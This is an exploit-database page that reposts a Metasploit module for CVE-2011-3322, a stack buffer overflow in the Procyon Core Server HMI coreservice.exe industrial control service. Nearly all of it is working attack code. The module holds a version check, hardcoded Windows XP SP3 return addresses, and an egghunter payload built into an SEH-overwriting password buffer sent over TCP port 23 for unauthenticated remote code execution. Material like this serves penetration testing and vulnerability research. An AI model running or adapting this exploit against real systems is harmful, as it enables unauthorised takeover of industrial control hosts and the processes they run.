Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow



EKU-ID: 959 CVE: 2011-3322 OSVDB-ID: 75371
Author: mr_me Published: 2011-09-14 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# $Id: procyon_core_server.rb 13724 2011-09-12 21:42:36Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Egghunter
 include Msf::Exploit::Remote::Tcp

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow",
   'Description'    => %q{
     This module exploits a vulnerability in the coreservice.exe component of Proycon
    Core Server <= v1.13. While processing a password, the application
    fails to do proper bounds checking before copying data into a small buffer on the stack.
    This causes a buffer overflow and allows to overwrite a structured exception handling
    record on the stack, allowing for unauthenticated remote code execution.  Also, after the
    payload exits, Coreservice.exe should automatically recover.
   },
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 13724 $',
   'Author'         =>
    [
     'Knud Højgaard <keh[at]nsense.dk>',        # Initial discovery
     'mr_me <steventhomasseeley[at]gmail.com>', # Initial discovery & poc/msf
    ],
   'References'     =>
    [
     ['CVE', 'CVE-2011-3322'],
     ['OSVDB', '75371'],
     ['URL', 'http://www.uscert.gov/control_systems/pdf/ICSA-11-216-01.pdf'],
     ['URL', 'http://www.stratsec.net/Research/Advisories/Procyon-Core-Server-HMI-Remote-Stack-Overflow']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00\x0a\x0d",
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => 'process',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [

     [
      'Windows XP SP3 - No dep bypass',
      {
       'Ret'    => 0x774699bf, # JMP ESP [user32.dll]
       'Edx'    => 0x1D847770, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]
       'Eax'    => 0x01010106, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]
       'Offset' => 8
      }
     ],
    ],
   'Privileged'     => true,
   'DisclosureDate' => "Sep 08 2011",
   'DefaultTarget'  => 0))

   register_options(
   [
    Opt::RPORT(23)
   ], self.class)
 end

 def check
  connect
  res = sock.get_once.chomp  #This gives us string "----------------------------"
  res = sock.get_once.chomp  #This gives us the actual software version
  disconnect

  if res =~ /Core Command Interface V1\.(.*)2/
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit

  eggoptions =
  {
   :checksum => false,
   :eggtag => 'ssec',
  }

  badchars = "\x00\x0a\x0d"
  hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

  sploit = rand_text_alpha_upper(45)
  sploit << [target['Edx']].pack('V')
  sploit << [0x41414141].pack('V')
  sploit << [target['Eax']].pack('V')
  sploit << rand_text_alpha_upper(target['Offset'])
  sploit << [target.ret].pack('V')
  sploit << make_nops(10)
  sploit << hunter
  sploit << rand_text_alpha_upper(500)
  sploit << egg
  sploit << "\r\n"

  connect
  sock.get_once()
  print_status("Sending request...")
  sock.put(sploit)
  handler()
  disconnect

 end

end